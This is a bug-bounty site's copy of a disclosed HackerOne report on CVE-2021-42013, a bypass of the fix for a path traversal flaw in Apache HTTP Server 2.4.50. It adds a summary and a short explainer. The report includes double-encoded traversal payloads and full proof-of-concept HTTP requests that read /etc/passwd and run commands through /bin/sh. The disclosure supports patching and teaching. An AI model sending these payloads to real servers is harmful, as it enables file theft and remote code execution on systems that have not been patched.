Skip to content
Path traversal Disclosed report Intermediate CVE-2021-42013

Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.50

The fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient, allowing an attacker to bypass it and perform path traversal to access files outside configured directories. If CGI scripts are enabled, this could lead to remote code execution.

itsecurityco Follow

Originally disclosed on HackerOne

Bounty$1,000 Critical View original
  • Triaged in 16 hours
  • Fixed in 21 hours
  • Paid in 21 hours
  • Disclosed after 26 hours

Summary by the program

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives.

If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution.

This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

Acknowledgements:

Reported by Juan Escobar from Dreamlab Technologies Reported by Fernando Muñoz from NULL Life CTF Team Reported by Shungo Kumasaka Reported by Nattapon Jongcharoen

Reported to security team: 2021-10-06 fixed by r1893977, r1893980, r1893982 in 2.4.x: 2021-10-07 Update 2.4.51 released: 2021-10-07 Affects: 2.4.50, 2.4.49

https://httpd.apache.org/security/vulnerabilities_24.html

The report

Hello Apache team,

@fms and myself were able to bypass the latest patch for CVE 2021-41773 in the Apache 2.4.50.

These are the payloads:

  1. %%32%65%%32%65
  2. .%%32%65
  3. .%%32e
  4. .%2%65

PoC Path Traversal

GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1 Host: localhost:83 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

PoC RCE

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1 Host: 192.168.88.201 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,es;q=0.8 If-None-Match: "2aa6-5cda88e8a6005-gzip" If-Modified-Since: Wed, 06 Oct 2021 05:38:33 GMT Connection: close Content-Length: 60

echo Content-Type: text/plain; echo; id; uname;apache2ctl -M

Impact

An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives.

If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution.

Attachments

POC_RCE.png
POC_RCE.png From the original on HackerOne
POC_Path_Traversal.png
POC_Path_Traversal.png

The original report as published on HackerOne, by itsecurityco. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the input validation for path traversal was incomplete, allowing encoded characters to bypass the fix.

Impact

An attacker could read files outside the web root if not protected by default config, and if CGI is enabled, this could allow remote code execution.

What the attacker needed

Apache HTTP Server 2.4.49 or 2.4.50; Alias-like directives configured; Files outside directories not protected by 'require all…; CGI scripts enabled for aliased paths (for RCE)

The fix

The issue was fixed in Apache HTTP Server 2.4.51.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A path traversal attack lets someone trick a web server into reading files it shouldn't, like system files, by using special characters in the URL. In this case, the server's attempt to block such attacks could be bypassed, and if certain features are on, the attacker might even run commands on the server.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.